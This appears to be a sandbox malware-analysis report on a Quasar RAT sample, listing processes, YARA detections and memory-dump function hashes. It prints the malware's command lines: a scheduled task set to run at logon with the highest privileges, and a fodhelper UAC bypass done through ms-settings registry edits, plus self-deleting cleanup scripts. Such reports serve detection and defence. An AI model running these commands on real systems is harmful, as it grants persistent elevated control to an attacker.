Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:57:02
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:57:04
Start date:	31/12/2024
Path:	C:\Users\user\AppData\Roaming\$77-cmd\Client.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\$77-cmd\Client.exe
Imagebase:	0xe20000
File size:	3'268'096 bytes
MD5 hash:	6D6C9C719E2F757442374AF378C343A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, Author: Joe Security Rule: MAL_QuasarRAT_May19_1, Description: Detects QuasarRAT malware, Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, Author: ditekSHen Rule: MALWARE_Win_QuasarStealer, Description: Detects Quasar infostealer, Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, Author: ditekshen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 74%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	23:57:05
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\UACBypass1.bat" "
Imagebase:	0x7ff724870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:57:05
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:57:05
Start date:	31/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /f
Imagebase:	0x7ff721f30000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:57:05
Start date:	31/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /f
Imagebase:	0x7ff721f30000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:57:05
Start date:	31/12/2024
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	true
Commandline:	fodhelper.exe
Imagebase:	0x10000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:57:05
Start date:	31/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 2 /nobreak
Imagebase:	0x7ff6e36a0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:57:05
Start date:	31/12/2024
Path:	C:\Users\user\AppData\Roaming\$77-cmd\Client.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\$77-cmd\Client.exe"
Imagebase:	0xc30000
File size:	3'268'096 bytes
MD5 hash:	6D6C9C719E2F757442374AF378C343A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	23:57:06
Start date:	31/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:57:06
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:57:07
Start date:	31/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f
Imagebase:	0x7ff721f30000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	23:57:07
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c del "C:\Users\user\AppData\Roaming\$77-cmd\UACBypass1.bat"
Imagebase:	0x7ff724870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:57:07
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\UACBypass2.bat" "
Imagebase:	0x7ff724870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	23:57:07
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:57:07
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\Melt.bat" "
Imagebase:	0x7ff724870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:57:07
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	23:57:07
Start date:	31/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f
Imagebase:	0x7ff721f30000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	23:57:07
Start date:	31/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 5 /nobreak
Imagebase:	0x7ff6e36a0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:57:07
Start date:	31/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Install.exe" /f
Imagebase:	0x7ff721f30000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	23:57:07
Start date:	31/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /f
Imagebase:	0x7ff721f30000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	23:57:07
Start date:	31/12/2024
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	fodhelper.exe
Imagebase:	0x7ff64b8c0000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:57:08
Start date:	31/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 2 /nobreak
Imagebase:	0x7ff6e36a0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	23:57:10
Start date:	31/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f
Imagebase:	0x7ff721f30000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	23:57:10
Start date:	31/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c del "C:\Users\user\AppData\Roaming\$77-cmd\UACBypass2.bat"
Imagebase:	0x7ff724870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	17.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B873535 Relevance: 1.6, APIs: 1, Instructions: 137
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 00007FFD9B873617

Memory Dump Source

Source File: 00000000.00000002.1742598755.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b870000_Dd5DwDCHJD.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 552b9888f570b2bd036eeda604afafaa339560802664d396c9e047006b5f71cb
Instruction ID: b82b6991d2bb2e64d6c473b4b5068af637225db3d06a4e153934968ae308a31e
Opcode Fuzzy Hash: 552b9888f570b2bd036eeda604afafaa339560802664d396c9e047006b5f71cb
Instruction Fuzzy Hash: C141263190DB5C8FDB19DB6888596F97FF0FF5A310F0442AFD049C71A2DA24A9068791

Function 00007FFD9B873579 Relevance: 1.6, APIs: 1, Instructions: 109
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 00007FFD9B873617

Memory Dump Source

Source File: 00000000.00000002.1742598755.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b870000_Dd5DwDCHJD.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 831efe55fc741f21da5e321836c99452b84fcd75dcb51b9ee13c235a44986634
Instruction ID: 59b2b922c39f67a05bde4e2c94567b8fd5a19941f55f02433c190de27d7aaedc
Opcode Fuzzy Hash: 831efe55fc741f21da5e321836c99452b84fcd75dcb51b9ee13c235a44986634
Instruction Fuzzy Hash: 3731C17190CB5C8FDB19DB588859AF9BBF0FF66320F04426BD049D3292DB34A9468B91

Analysis Process: Client.exePID: 7452, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFD9BAF55D6 Relevance: 2.1, Instructions: 2119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4136288347.00007FFD9BAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9baf0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92388dfb210d25bc7e7c3f3f8b7b30cceb19ee30b140634a2f118a9312437640
Instruction ID: 96421de7339625223ba51a4715740bd5cd768a6cf3830b865dbb9e6119e7c488
Opcode Fuzzy Hash: 92388dfb210d25bc7e7c3f3f8b7b30cceb19ee30b140634a2f118a9312437640
Instruction Fuzzy Hash: 32F29070B19B0D8FDBA8EF58C894BA97BE1FF58300F1141A9D04ED72A6DA75E941CB40

Function 00007FFD9BAF9BD1 Relevance: 1.5, Instructions: 1473
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.4136288347.00007FFD9BAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9baf0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad215a23ed05e685791d4467d276e878df2ac0fde13c0bfc32dfe16301bcee27
Instruction ID: cc30408de48f088fc560fd93795706c929fc24beaf7a0488ef64839293a99e41
Opcode Fuzzy Hash: ad215a23ed05e685791d4467d276e878df2ac0fde13c0bfc32dfe16301bcee27
Instruction Fuzzy Hash: 1692083171DA0D4FEBA8EB6CD465AB537E1EF98310F0501BAE44EC32A6DE64EC428741

Function 00007FFD9BAFAFDD Relevance: .9, Instructions: 860
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.4136288347.00007FFD9BAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9baf0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b97cc8404c5e456dcde2a08a18fbc8acd210c74376fbb089ccc1fd4bb929403
Instruction ID: 561ae21b5997119c5c23f0ece58c263589e22bf1a26f1045cd1d485742f6839b
Opcode Fuzzy Hash: 3b97cc8404c5e456dcde2a08a18fbc8acd210c74376fbb089ccc1fd4bb929403
Instruction Fuzzy Hash: 47526330B08A498FDBA8EB2CC464BA57BE1FF99304F5545B9E04DC72A6DE74E841CB41

Function 00007FFD9BAF9271 Relevance: .7, Instructions: 680
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.4136288347.00007FFD9BAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9baf0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80d17e5c33e2532366ea88590e31e3e0dabddeca29144358f4a7fb45437f8bc8
Instruction ID: 360cae185c80d721195809ecd7bd515d4229391b4063e10f67328a87ee12e1c1
Opcode Fuzzy Hash: 80d17e5c33e2532366ea88590e31e3e0dabddeca29144358f4a7fb45437f8bc8
Instruction Fuzzy Hash: 10228130B19A0D4FEBA8EB5984A57B977E2FF98300F15417DD44EC32A2DE74E9428781

Function 00007FFD9BAF621F Relevance: .5, Instructions: 531COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4136288347.00007FFD9BAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9baf0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 128e2143cc7dd0aa872da90493c352b8e3bb25acf92520bff42bb04e84fe0c5f
Instruction ID: fb5eb1134c0e49c06c6756098afe9f22722f72d638427326844460390fa8c3e3
Opcode Fuzzy Hash: 128e2143cc7dd0aa872da90493c352b8e3bb25acf92520bff42bb04e84fe0c5f
Instruction Fuzzy Hash: 07025C30F18A198FEBA8EF58C4947A9B7E1FF98301F1541BDD44ED32A5DA74A981CB40

Function 00007FFD9BAFEB09 Relevance: 1.8, APIs: 1, Instructions: 279
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32 ref: 00007FFD9BAFECF6

Memory Dump Source

Source File: 00000003.00000002.4136288347.00007FFD9BAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9baf0000_Client.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 2755db64837726e5bf819cec9b2ade66ce5ce291c263a87cb53f50f3f8354593
Instruction ID: 1bc7b5818f8605091994d2ec80cf7392d07ef81237b24ce5d859549fc0ee133f
Opcode Fuzzy Hash: 2755db64837726e5bf819cec9b2ade66ce5ce291c263a87cb53f50f3f8354593
Instruction Fuzzy Hash: 81710531B1DB4D4FDB58AB6C98665F97BE1EF59310B0441BFE04DC3296DE24A80287C2

Function 00007FFD9B883535 Relevance: 1.6, APIs: 1, Instructions: 140
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE ref: 00007FFD9B883617

Memory Dump Source

Source File: 00000003.00000002.4133957540.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b880000_Client.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 8496314d5b8a560dc44c5b108a1287dd0930cdb068d7a2aeb5cfb9b0b8b9f969
Instruction ID: f2d03300419cc09d4082ad3eaaa4b2cc54a82204299cc55598dd089d169630f6
Opcode Fuzzy Hash: 8496314d5b8a560dc44c5b108a1287dd0930cdb068d7a2aeb5cfb9b0b8b9f969
Instruction Fuzzy Hash: 6E41247190DB9C8FDB59DB6888596E97FF0FF5A310F0442AFD049D71A2DA34A8068781

Function 00007FFD9B883579 Relevance: 1.6, APIs: 1, Instructions: 109
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE ref: 00007FFD9B883617

Memory Dump Source

Source File: 00000003.00000002.4133957540.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b880000_Client.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 53a9bcf52d8332d1f1e9dc90049fe8628c09b4df14d9379ac8895e2ff0a8c813
Instruction ID: cc5bc714e2c75b9ee3c4cff93ffcda58733c9fc3ad056204d626d7c4aea7df5d
Opcode Fuzzy Hash: 53a9bcf52d8332d1f1e9dc90049fe8628c09b4df14d9379ac8895e2ff0a8c813
Instruction Fuzzy Hash: 6531C17190CB5C8FDB59DB589859AF9BBF0FF66320F04426BD049D3292DB34A8068B81

Analysis Process: Client.exePID: 7616, Parent PID: 7560COMMON

Executed Functions

Function 00007FFD9B8A0BBD Relevance: 1.5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

Strings

;M_I, xrefs: 00007FFD9B8A0C04

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID: ;M_I
API String ID: 0-1276053120
Opcode ID: 0ed06fe978148e2d12897fb704197863ec981b6554fdbaef4e300a302ed3bd8f
Instruction ID: 2ea911b66e66864984c78f154f2b8d9d67a8ba85718d4aa9ce488514b0f6c3b0
Opcode Fuzzy Hash: 0ed06fe978148e2d12897fb704197863ec981b6554fdbaef4e300a302ed3bd8f
Instruction Fuzzy Hash: D3A1706170FAC94FE319E76C58B52A47BA1EF4A304F8441F7E48C472EBE939A902C351

Function 00007FFD9B8A15FA Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

.M_^, xrefs: 00007FFD9B8A1601

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID: .M_^
API String ID: 0-2820351210
Opcode ID: aa0d126493cf0f053e34a9027afbb52a42b690956445fc53fdb36dbf16223b41
Instruction ID: ecaa4dc56e9bfdce89e937901a525eac32bced0ca9365b6582dbb6da47183a4c
Opcode Fuzzy Hash: aa0d126493cf0f053e34a9027afbb52a42b690956445fc53fdb36dbf16223b41
Instruction Fuzzy Hash: B621921270FA9D0FD756A76DAC655E47BD0EF9BA2170902FBC098CB1A3DC0869068361

Function 00007FFD9B8A20FA Relevance: .4, Instructions: 377COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f4113ecb91efa8cd0de6f8e409ca4c6cb6356b2fd48c55c060b34d47df2e441
Instruction ID: 31768d3842e962d10cb3be6bb5b7719b0eb62a119b0130780a03d8773eaaa2aa
Opcode Fuzzy Hash: 4f4113ecb91efa8cd0de6f8e409ca4c6cb6356b2fd48c55c060b34d47df2e441
Instruction Fuzzy Hash: 0EA10921B1A98E0FEBA9FB6884757F877D2EF99350F0501BAD44DC71E7DD28A9028350

Function 00007FFD9B8A2DD8 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cd17b46d152e7cdc052714f83b40ea84c9cbd0b1132f14015bb03819596d59b
Instruction ID: a726733ff1d98f11028d2c93e0882dfc31886964178643e9f19a24fe58154bc2
Opcode Fuzzy Hash: 4cd17b46d152e7cdc052714f83b40ea84c9cbd0b1132f14015bb03819596d59b
Instruction Fuzzy Hash: 6B719021F1890D4FDBA8EBA884657BCB7E2EF9C310F450179E41ED32D6DE28AC428750

Function 00007FFD9B8A24B2 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac04df9de854856ed8860ac5b28217904ec1665139581683c6e57ac11651f5ef
Instruction ID: d1dfede2355898780ee3bdf71258eaf305097664ea18b186536f516d29e973f6
Opcode Fuzzy Hash: ac04df9de854856ed8860ac5b28217904ec1665139581683c6e57ac11651f5ef
Instruction Fuzzy Hash: 4C51AF10B0E95A0BEBA9F7B844757AA6AD3EB8F25078580B5D009C72DBDD3C9943C391

Function 00007FFD9B8A2120 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d5eae4da01af7e186ce1874b3774a070889fc435487232dcec6fc6ff7025ce3
Instruction ID: 5c24a6fb30b64e6b7132527eceb67bdfbf01f348febc0ec2abc8fb7a9b912cef
Opcode Fuzzy Hash: 0d5eae4da01af7e186ce1874b3774a070889fc435487232dcec6fc6ff7025ce3
Instruction Fuzzy Hash: B541E821B0E68D0FEBA5FBA84475AF97BA1EF59310F0600BAD04DC72D7DD18AD018751

Function 00007FFD9B8A2739 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1205171d1930d9a9841826345b9fdb4bf458ac55a51b5267c09b382f5fe69653
Instruction ID: ccb8b598da55d7c3502bd6f32d9696c01d0e39f8c41e60c134f5996ebc25f5dd
Opcode Fuzzy Hash: 1205171d1930d9a9841826345b9fdb4bf458ac55a51b5267c09b382f5fe69653
Instruction Fuzzy Hash: 9F412B21B1DA494FE76CABAC94267B977D1EF99314F04017EF05EC32D6DD2C69028392

Function 00007FFD9B8A1DFA Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dea0984fdb110dd87788cbe113fb271fb45cf2658aeb47b118f6261b4508f96
Instruction ID: 72f54bf3eef6f9753fca8c702f147d1ee474db0173fa58ae0a1ae74b08f6a9c4
Opcode Fuzzy Hash: 2dea0984fdb110dd87788cbe113fb271fb45cf2658aeb47b118f6261b4508f96
Instruction Fuzzy Hash: 1621F716F0F56D1BE755F7ACB8E99F97790DF5A22970402F3D09CCA1A3EC0824878250

Function 00007FFD9B8A196D Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

